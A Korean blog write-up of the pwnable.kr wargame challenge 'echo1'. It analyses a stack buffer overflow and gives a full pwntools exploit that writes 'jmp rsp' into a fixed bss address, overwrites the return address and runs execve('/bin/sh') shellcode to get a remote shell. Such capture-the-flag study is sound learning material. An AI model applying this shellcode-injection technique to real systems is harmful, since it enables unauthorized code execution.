본문 바로가기

Wargame/pwnable.kr

[BOF] echo1

1. 문제

  • echo1 바이너리 파일을 다운로드할 수 있는 링크가 주어진다.
  • nc로 접속할 수 있는 정보가 주어진다.

2. 코드 분석

  • 코드는 ghidra, gdb를 통해 분석하였으며, 본 설명은 푸는데 필요한 부분만 작성하였다.
  • 아래 그림은 input받는 name에 대한 부분이다.
    • malloc을 통해 0x28만큼 동적 할당하며, 해당 공간에 byebye, greetings의 함수 포인터와 입력받는 name을 저장한다. 
    • name의 경우, 0x24만큼 입력값을 받아오며, 할당한 heap영역의 0위치부터 8byte씩 저장된다.
    • 이후, name의 첫 0x4는 bss에 위치한 id에 저장된다.
      ( bss에 위치한 주소는 고정주소이다. )
heap                                        bss
+-----------------------+          0x4      +---------------+       
|         name[0]       |  0    =========>  |               | id(0x6020a0)
+-----------------------+                   +---------------+ 
|         name[1]       |  8
+-----------------------+ 
|         name[2]       |  16
+-----------------------+
|         byebye        |  24
+-----------------------+
|        greetings      |  32
+-----------------------+

 

  • echo1에 대한 코드 분석이다. 
    (echo2와 echo3은 "not supported"의 문구만 출력하는 함수이다.)
    • 0x20만큼 스택을 할당한다.
    • [RBP-0x20]위치부터 0x80만큼 입력받아와 저장하기 때문에, BOF취약점이 존재한다.
+-----------------------+--[RBP-0x20]
|                       |
+-----------------------+
|                       |
+-----------------------+
|                       |
+-----------------------+
|                       |
+-----------------------+<-RBP
|          SFP          |
+-----------------------+
|          RET          |
+-----------------------+

 

3. 풀이

① 적용된 보호기법을 확인한다.

 

②  실행할 쉘코드를 생성해준다.

shell  = shellcraft.execve("/bin/sh",0,0)

 

echo1의 스택에서 BOF를 발생시켜, RET값을 name의 주소 값으로 덮어쓰고 RET이후에는 shell code를 삽입해둔다.

  • 생성한 쉘코드는 37byte이기 때문에, name은 불가능하고 echo1의 스택을 활용해야 한다.

 

④ 쉘 코드를 고정된 주소 값에 넣어줘야, 쉘 코드의 주소를 알 수 있기 때문에 name을 활용해야 한다.

  • 해당 바이너리에는 ASLR이 적용되어 있기 때문이다.
  • 하지만, name에는 4byte의 크기만 저장할 수 있다. 

 

⑤ name에 "jmp rsp"명령어를 넣는다.

  •  echo1 실행을 마치고, 초기화되지 않은 rsp위치로 jump하게 되어서, RET이후에 위치한 shellcode를 가리키게 된다.
+-------------------------+--[RBP-0x20]
|        AAAAAAAA         |
+-------------------------+
|        AAAAAAAA         |
+-------------------------+
|        AAAAAAAA         |
+-------------------------+
|        AAAAAAAA         |
+-------------------------+<-RBP
|        BBBBBBBB         |                     bss
+-------------------------+                    +----------------+               
|     RET -> 0x6020a0     |   =============>   | asm('jmp rsp') | id(0x6020a0)
+-------------------------+                    +----------------+ 
| execve('/bin/sh', 0, 0) |
+-------------------------+

4. Exploit

from pwn import *

context.arch = "amd64"

p = remote(b"pwnable.kr", 9010)
#p = process(b"./echo1")

shell  = shellcraft.execve("/bin/sh",0,0)
id_addr = 0x6020a0

name = asm('jmp rsp')

payload  = b"A" * 0x20
payload += b"B" * 0x8
payload += p64(id_addr)
payload += asm(shell)


p.recvuntil(b"name? : ")
p.sendline(name)
print(p.recv())
p.sendline(b"1")
print(p.recvuntil(name + b"\n"))
p.sendline(payload)
print(p.recv())

p.interactive()

'Wargame > pwnable.kr' 카테고리의 다른 글

[stack unlimited, control esp] fix  (0) 2022.08.09
[Fake EBP] simple login  (0) 2022.08.05
[BOF + Canary leak] md5 calculator  (0) 2022.08.01